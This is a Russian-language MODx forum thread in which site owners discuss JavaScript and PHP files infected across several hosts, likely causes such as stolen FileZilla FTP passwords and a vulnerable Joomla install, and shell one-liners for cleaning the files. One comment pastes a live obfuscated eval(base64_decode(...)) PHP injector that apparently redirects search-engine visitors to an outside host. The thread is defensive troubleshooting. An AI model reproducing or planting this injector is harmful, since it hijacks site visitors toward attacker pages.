Помогите, сайт заражен! В скриптах троян!

Здравствуйте, уважаемое сообщество MODx

Пришел сюда буквально 10 минут назад в поисках помощи, и даже не совсем понял куда, поэтому если пишу не там где нужно, прошу прощения…

Сегодня столкнулся с новой для меня проблемой, три моих сайта, созданных на MODx Evo 1.5.0 оказались заражены вредоносным кодом, точнее все файлы .js, что имеются, включая мои и системные. Обнаружилось это элементарной тревогой Касперского при заходе на сайт. Больше всего волнует то, что один из трех сайтов находится на другом хостинге, но точно так же оказался заражен. Два сайта я полностью снес с сервера и восстановил из бэкапа на локале. с третьим могу поступить так же, благо копию делал недавно. Однако очень опасаюсь что это может снова повториться, т.к. как защитится от этого, найти уязвимость, я не знаю…

Если кто нибудь может чем то помочь, пожалуйста, подскажите как быть такой ситуации, как защититься. Если можно, приведу пример одного из зараженных сайтов и троянского кода в одном из файлов скриптов.

Заранее большое спасибо…

28 комментариев

avatar
Во первых стоит определиться, сайты висят на личном сервере или на хостинге. Если на своем сервере, то проблема может скрываться как в простом подборе пароля на ssh/ftp, так и в установленном рутките. Если это хостинг, то может быть был взломан именно хостер. Кроме того, стоит в обязательном порядке сменить все пароли доступа к хостингу/серверу. Пароли к панели управления, етк итд. По сабжу, каждая ситуация уникальна и надо смотреть конкретно.
avatar
сайты на хостинге, и главное на разном (точнее два сайта на одном, но третий на другом) На том где два сайта пароли уже сменил, на последнем еще нет. Если можете, посмотрите, пожалуйста…
avatar
как оно проникло туда, тут самое банальное это троян на машине, с которой производилось управление хостингами. что реально сделать, это сменить пароли, вычистить файлы либо восстановить чистые копии из бакапов и понаблюдать. Если ситуация повторится, то смотреть на установку систему, возможно была не закрыта какая-то уязвимость.
avatar
Вполне вероятно что украли ftp пароли из клиента. Ищити вирус у себя на компе, поменяйте пароли на FTP, больше не храните в клиенте.
avatar
да, использовал FileZilla, хранил в ней пароли, но, за последние два месяца ОС переустанавливалась трижды, после каждой из которых проводились полный проверки KIS'ом. Последняя была около двух недель назад, все было чисто, и главное, ни через один ftp менеджер на сайты я не заходил, они даже не были установлены, а заражение проявилось только сегодня. Возможно пароли были похищены намного ранее, и только теперь это дало о себе знать, однако KIS конечно тоже постоянно работал. Обидно если все таки пароли действительно выкрали, но других соображений у меня тоже нет, похоже не то, т.к. доступ к сайтам имею только я. Что ж, тогда и третий сайт восстановлю из бэкапа, сменю все пароли… но так же и хотелось бы спросить, есть ли какие нибудь новые критические обновления на Evo 1.5.0, а атк же известные шеллы?
avatar
уточню: ни через один ftp менеджер на сайты я не заходил после последней переустановки ОС
avatar
сейчас пробежался по багтракам, вроде ничего нового существенно не появилось. Посему тут можнт быть ситуация с «кривым» хостером, когда вскрыли одного пользователя и дальше зараза пошла по все остальным. Из возможных компонентов, была проблема с fckeditor, но в модэксе стоит тини, посему сей вариант отпадает. Есть возможность что был сохранен пароль в браузере, а пароль от аккаунта панели управления хостингом часто точно такой-же как и от фтп доступа.
avatar
нет, здесь я осторожен, практически никогда не сохраняю паролей в браузерах (за редким исключением) это слишком важные данные что бы доверять их браузерам. Но с ftp менеджером я что то расслабился, похоже слишком доверял Касперскому…
avatar
тут возможен вариант либо фтп, либо реально идет все от хостера. последний вариант кстати стоит учитывать. Рынок хостинг услуг в последнее время очень сильно разросся, сервера администрируют люди без реального опыта обработки подобных инцидентов. Попробуйте написать письмо с службу тех поддержки хостера, возможно они быстрее смогут установить причину. Кроме того, они могу вам сказать каким образом были изменены эти файлы.
avatar
хорошо, большое спасибо, сейчас напишу им. Еще только что сдампил фтп полностью, не только папки www с сайтом, но и хостерские стандартные, которые там лежат изначально. На первом хосте, где два сайта, все было чисто, а на этом по мимо .js от cms и моих, лежат еще какие то, которые тоже заражены. Но даже если это вина хостера, но совсем понимаю, как зараза перекинулась на те два сайта, что хостятся в другом месте?
avatar
Вот если на те два перекинулась, которые были изолированы и зараза идентична, то тут с вероятностью процентов 90 вина с вашей стороны. Это либо утащил ктото пароли, либо еще какие-либо варианты. Возможно что пароли утащили, но просто не пользовались ими. Плюс если все три сайта заразились одной и той-же заразой и в одно и то-же время (плюс/минус), то это точно были уведены ваши пароли.
avatar
Ну как от хостера, если сайты на разных хостингах?
avatar
Информация для размышления:
Два дня назад столкнулся с такой же ситуацией, два сайта на modx оказались заражены. Точно так же установлен Кaspersky, который не отключался. В качестве FTP клиента использую Filezilla. Пароли от FTP были сохранены во встроенном менеджере. Заражены были только сайты, на которые я в недавнем времени заходил по FTP. Полностью проверил компьютер Касперским, обновил Java, устраниенил критическую уязвимость Modx (http://community.modx-cms.ru/blog/news/6297.html, хотя вряд ли есть связь заражением и уязвимостью) на всех моих сайтах, сегодня на тестовом хостинге, где установлен OpenCart обнаружил заражение скриптов заразой, которая поражала Modx.
По сему, логично будет предположить, что это не уязвимость конкретной CMS, а скорее утечка пароля к FTP. Возможно, существует уязвимость Filezilla, о которой не все знают, или утекли сохраненные в нем пароли,, и думаю, это вина не хостера.
Еще один интересный факт: когда Касперский сообщал о заражении сайта — заходил на сайт из под Opera 11.61, в тот же момент сайт, открытый в IE не вызывал у Касперского подозрений…
avatar
maxim9966 спасибо за информацию и ссылку на уязвимость! А вы после заражения сайтов проверяли компьютер KIS'ом? Интересно зараза засела на компе или каким то другим путем утянула пароли. Еще хотел бы спросить, может быть знаете, в Filezilla пароли сохраняются автоматически при «нормальном» входе, сейчас поставил «запросить пароль», но вот интересно, остались ли в нем учетные данные до сих пор, от прежних заходов с сохраненным паролем?
avatar
Да, после заражения проверял компьютер, обнаружилось две заразы:
Win32.Gbot и Exploit.Java.CVE-2011-3544. Как думаете, есть причинно-следственная связь между событиями?
avatar
Не первый случай заражения сайтов на моей памяти. При чем не только мои сайта, а сайты моих знакомы, заказчиков и т.п.
Все лечил одной и той же коммандой по ssh
grep -rl '=Array.prototype.slice.call(arguments).join(""),' . | while read FILENAME; do sed -i -e '$d' $FILENAME; echo "$FILENAME"; done
avatar
Думаю было-бы неплохо описать для людей что значит эта команда, мне например понятно, и она довольно неплоха, но остальным думаю нет.
Плюс на хабре не так давно была статья по поиску и лечению подобных зараженных сайтов habrahabr.ru/blogs/infosecurity/139453/
avatar
Ага. мое упущение, что не описал.
Смысл комманды прост: происходит поиск файлов во всех вложенных папках в которых встречается фраза =Array.prototype.slice.call(arguments).join(""),. Затем в цикле удаляется последная строчка из найденных файлов и выводится путь к обработанному файлу на экран.

В принципе использовать можно эту комманду для чего угодно, но в моем случае она пригодна для лечения эпидемии, т.к.
а) вирус прописывается в конец всех JS скриптов до которых дотягивается
б) Не смотря на обфускацию кода сходство все таки есть и именно по этому признаку мы производим поиск. Более того, подобная комманда в нормальных скриптах не должна встречаться, поэтому используем спокойно.
avatar
спасибо что описали, а то тоже хотел попросить об этом, сейчас попробую лечиться)
avatar
Судя по всему вирус мутировал. И для тех, кто повторно столкнется с подобным видом заражения

grep -rl '")===83)try{Boolean().prototype.q}catch(egewgsd){f=\['. | while read FILENAME; do sed -i -e '$d' $FILENAME; echo "$FILENAME"; done
avatar
напишу с чем столкнулся недавно.
За месяц два раза подряд у меня ломало все сайты на 1 хостинге и добавляло каждому исполняемому файлу в начало
<?php	 	eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL3d3dy5icG9mZmVyLmNoYW5nZWlwLm9yZy8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));


короче что делает MODx честь — так это что после заражения он полностью переставал работать на любой вызов отдавай абсолютно пустую страницу, и это давало знать о проблеме.

вобщем мозги все сломал, сам этот код обнаружили с Valikrasом, далее удалил его со всех файлов, пароли поменял все сделал как надо.

бац через 2 недели опять тоже самое. проверил логи фтп — пароль не уводили точно. проверил свой комп, никаких вирусов ничего. пароли не храню принципиально нигде кроме головы. начал уже грешить на дырки в революшн.

поломали голову с техподдержкой хостера.

нашлась причина. на хостинге сайт на рево, сайт на ево и давний событийный сайт на джумле. оказалось в джумле 1.5.1 была какаято дырка в системных файлах и они заразились. PHP.Shell-38 и PHP.C99-9

и через них все заражалось.

  • dem
  • +2
avatar
а я кстате, с ssh так и не разобрался, восстановил все из резервных копий, тоже сменил все пароли. В фтп больше не храню. Теперь буду надеяться что больше такого не повториться…
avatar
советую попросить хостинг-провайдера пройтись антивирусом по аккаунтам, довольно эффективно
avatar
к сожалению они не предоставляют такой услуги :\
только посоветовали какой то antivirus-alarm.ru. но мне честно говоря этот сайт почему то доверия вообще не вызывает, да еще и за деньги похоже. Лучше уж опять все сдампить и проверить kis'ом :)
avatar
недавно разобрались что в моем случае дел было не в движке или хостинге, т.к. заразился и сайт без движка вообще, голый html. а заражение происходило после заливки файлов по фтп через FileZilla. пробовал два раза, и через сутки заражался сайт на который по фтп чз нее заходил. И именно чз нее, т.к. заходя на фтп посредством браузера ничего не заразилось.

Проверил комп AVZ4 и HijackThis, AVZ нашел подозрительный на троян файл, удалил. Сейчас снова залил файлы через FileZilla, пока чисто, прошло двое суток. В первые два раза сайт был заражен уже примерно через сутки
avatar
и кстате да, код заразы в последний раз видоизменился, так что KIS инфекцию вообще не обнаружил.
avatar
Именно по этому я перестал хранить пароли в FileZilla
avatar
в том и дело, что пароли сейчас в ней уже не хранились, судя по этому пароль перехватывался во время ввода
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.